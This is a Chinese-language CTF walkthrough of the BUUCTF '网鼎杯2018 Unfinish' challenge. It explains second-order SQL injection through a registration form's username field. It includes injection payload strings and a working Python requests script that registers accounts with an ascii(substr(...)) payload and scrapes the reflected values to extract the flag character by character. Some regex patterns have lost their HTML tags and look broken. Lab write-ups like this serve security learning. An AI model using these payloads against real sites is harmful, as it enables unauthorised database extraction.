【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr

目录:

    • 一、自己做:
    • 二、学到的
    • 三、 学习WP
      • python爬虫 + re 尝试(尝试思路,):
        • 1. substr思路:
        • 最后的payload
        • hex思路:

一、自己做:

测试,看到用户名有回显,那么就是又一次从数据库中查询数据,可能有SQL注入的可能,然后我在注册用户名的时候,加上了 ',然后就死活注册不了,,
也不给我报错,,我在这里也想了一会,,想不明白

后来想到了,可能是报错,然后就没执行,然后我用了万能密码来的。

用户名:a'1 or '1

你注册成功后,他就会自动跳转到login.php的。

然后用邮箱,密码登陆成功了。 用户名为 :1 。
【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第1张图片

接着测试一下:

【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第2张图片,,直接没有变化,也就是 注册失败了。

在意料之内,这就表示 0 ,错误了,

然后进一步测试:

呃,有过滤,fuzz一下把,

用户名 : a1' or '(ascii(substr(database(),1,1))>0)

【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第3张图片

过滤的好像不多(至少从我的字典中看来):

这些都被过滤了。
【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第4张图片

二、学到的

  1. 这个 直接出 substr的数值,这个思路不需要 bool 注入点。强的一批。思路真心牛皮。
  2. 如果能够使用 substr 带出数据的话,试一下这个思路,不用bool注入点能够带出,同样,这个就不是bool注入了,是 二次注入。第二次查询。

三、 学习WP

payload的思路直接是抄袭的,侵权了联系我。

python爬虫 + re 尝试(尝试思路,):

1. substr思路:

注意,这里要带上 session,每一次注册,登陆是一次,是有记忆的。

#coding:utf-8
import requests
import re


url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {
     'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {
     'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    content = r3.text
    # print(content)
    con = re.search('(.*)',content,re.S)
    # re.findall也不错,也挺好,
    # con = re.search('(.*)',content,re.M|re.S)
    print(con.group())

!!!

   con = re.search('(.*)',content,re.S)

这样是贪婪模式,我希望他在第一个位置就停下来的,所以我需要非贪婪模式
【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第5张图片
非贪婪模式:.*? 加个 ? 就行了

con = re.search('(.*?)',content,re.S)

【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第6张图片
那既然这样,我们就不必要用 re.search 来做了,用re.findall来做,这个只返回中间的东西,
注:findall,就不用 group了。

#coding:utf-8
import requests
import re


url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {
     'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {
     'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    content = r3.text
    # print(content)
    con = re.findall('(.*?)',content,re.S)
    # re.findall也不错,也挺好,
    # con = re.search('(.*)',content,re.M|re.S)
    print(con)

【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第7张图片
列表,那就输出con[0],这样就获得了数字了,
【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第8张图片
再就是去掉两旁的空格。
在这里插入图片描述

就好了。
【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第9张图片

最后的payload

#coding:utf-8
import requests
import re


url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'

m = ''
for i in range(100):
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
    register = {
     'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {
     'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    content = r3.text
    # print(content)
    con = re.findall('(.*?)',content,re.S|re.M)
    # re.findall也不错,也挺好,
    # con = re.search('(.*)',content,re.M|re.S)
    # print(con[0].strip())
    a = int (con[0].strip())  # 转一下 类型,因为html中的是str的, 要转为int才行。
    # print(type(a))
    m = m+chr(a)
    print(m)

【复习】BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr_第10张图片

hex思路:

我就记得,这个题我做过,但是 没有知道到,,可算知道了,,这个比赛抄袭2018的网鼎杯的题,,,吐了,,hex的方法就看这个把,

[RootersCTF2019]I_<3_Flask — sql注入新方法:—‘0’+‘0’的奇怪方式来做 — 二次注入–hex双重编码- 16进制—ascii也可以的

你可能感兴趣的:(sql注入,python脚本练习,BUUCTF刷题记录)